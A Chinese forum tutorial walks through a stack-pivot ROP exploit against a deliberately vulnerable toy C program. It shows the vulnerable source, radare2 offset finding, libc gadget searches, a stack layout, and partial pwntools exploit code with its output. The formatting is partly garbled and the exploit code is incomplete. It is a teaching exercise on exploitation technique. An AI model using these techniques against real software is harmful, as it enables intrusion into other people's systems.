日期：
来源：看雪学苑收集编辑：winsunxs
本文为看雪论坛优秀文章
看雪论坛作者ID：winsunxs
1 what
2 why
3 how
3.1 pop rsp gadget
3.2 xchg <reg>, rsp
pop <reg> <=== return pointer<reg value>xchg <rag>, rsp
3.3 leave;ret
mov rsp,rbppop rbp
mov rsp,rbppop rbppop rip
4 漏洞程序 vuln
// gcc source.c -o vuln -no-pie#include <stdio.h>void winner(int a, int b) {if(a == 0xdeadbeef && b == 0xdeadc0de) {puts("Great job!");return;}puts("Whelp, almost...?");}void vuln() {char buffer[0x60];printf("Try pivoting to: %p\n", buffer);fgets(buffer, 0x80, stdin);}int main() {vuln();return 0;}
4.1 vuln脆弱性
存在输入性栈溢出，buffer大小0x60。
fgets存在输入大小限制，0x80上界。
程序编译保护存在,nx。
─$ checksec --file=./vuln[*] '/home/kali/exploits/spivot/vuln'Arch: amd64-64-littleRELRO: Partial RELROStack: No canary foundNX: NX enabledPIE: No PIE (0x400000)
4.2 vuln脆弱性利用目标
rip指向 winner函数，获取winner函数的执行权
4.3 vuln利用步骤
4.3.1 测算rip的偏移
① 生成de bruijn串
└─$ ragg2 -P 200 -rAAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFA
② fuzz vuln
┌──(kali㉿kali)-[~/exploits/spivot]└─$ r2 -d -A vuln[x] Analyze all flags starting with sym. and entry0 (aa)[x] Analyze function calls (aac)[x] Analyze len bytes of instructions for references (aar)[x] Finding and parsing C++ vtables (avrr)[x] Skipping type matching analysis in debugger mode (aaft)[x] Propagate noreturn information (aanr)[ ] Use -AA or aaaa to perform additional experimental anal[x] Use -AA or aaaa to perform additional experimental analysis.[0x7f93b6df79c0]> dcTry pivoting to: 0x7ffcd3256000AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFA[+] SIGNAL 11 errno=0 addr=0x00000000 code=128 si_pid=0 ret=0
③ 确定rip偏移
[0x004011c5]> dr rbp0x4169414168414167[0x004011c5]> wopO `dr rbp`96
所以，rip的偏移是104 = 96 + 8
④ 猜测栈基本布局
stack ::= |+00 buffer | +96 rbp | +104 rip | +112 x1 | +120 x2 | +128 x3 |
4.3.2 寻找可用gadget
pop rdi
──(kali㉿kali)-[~/exploits/spivot]└─$ ROPgadget --binary vuln | grep 'pop rdi'
──(kali㉿kali)-[~/exploits/spivot]└─$ cat /proc/sys/kernel/randomize_va_space0
linux-vdso.so.1 (0x00007ffff7fc9000)libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff7dce000)/lib64/ld-linux-x86-64.so.2 (0x00007ffff7fcb000)
0x0000000000027725 : pop rdi ; ret
0x0000000000065b7d : pop rdi ; ret 0x16
所以，**POP_RDI = 0x00007f85682b0000 + 0x027725**2. pop rsi
0x0000000000028ed9 : pop rsi ; ret
0x0000000000085336 : pop rsi ; retf
所以，**POP_RSI = 0x00007f85682b0000 + 0x028ed9**3. pop rsp
...
0x00000000000fd999 : pop rsp ; jmp 0xfd8e0
0x00000000000ff3b6 : pop rsp ; jmp 0xff1c0
0x00000000000db8b8 : pop rsp ; jmp 0xffffffff8552b8cd
...
0x00000000000273aa : pop rsp ; ret
所以，**POP_RSP = 0x00007f85682b0000 + 0x0273aa**### 4.3.3 规划栈布局- **old_stack ::= |+00 buffer | +96 rbp | +104 rip | +112 x1 | +120 x2 | +128 x3 |**new_stack ::=| 新栈布局 || :---: || +00 POP_RDI || +08 0xdeadbeef || +16 POP_RSI || +24 0xdeadc0de || +32 winner_addr || ... || +104 POP_RSP (rip位置) || +112 Buffer_addr |### 4.3.4 pwntools编写利用代码
获取buffer_addr
py = int(p.recvline(),16)
log.info(f'leak buffer addr: {hex(buffer_addr)}')
POP_RSP = LIBC + 0x0273aa
POP_RDI = LIBC + 0x027725
POP_RSI = LIBC + 0x028ed9
设置payload
payload = payload.ljust(104,b'A')
payload += flat(POP_RSP,buffer_addr)
send payload
### exploit outputArch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process '/home/kali/exploits/spivot/vuln': pid 1171678
[] leak buffer addr: 0x7fffffffe280
[] Paused (press any to continue)
b'Great job!\n'
[] Stopped process '/home/kali/exploits/spivot/vuln' (pid 1171678)
```
看雪ID：winsunxs
https://bbs.kanxue.com/user-home-107472.htm
# 往期推荐
1、Realworld CTF 2023 ChatUWU 详解
球分享
球点赞
球在看
点击“阅读原文”，了解更多！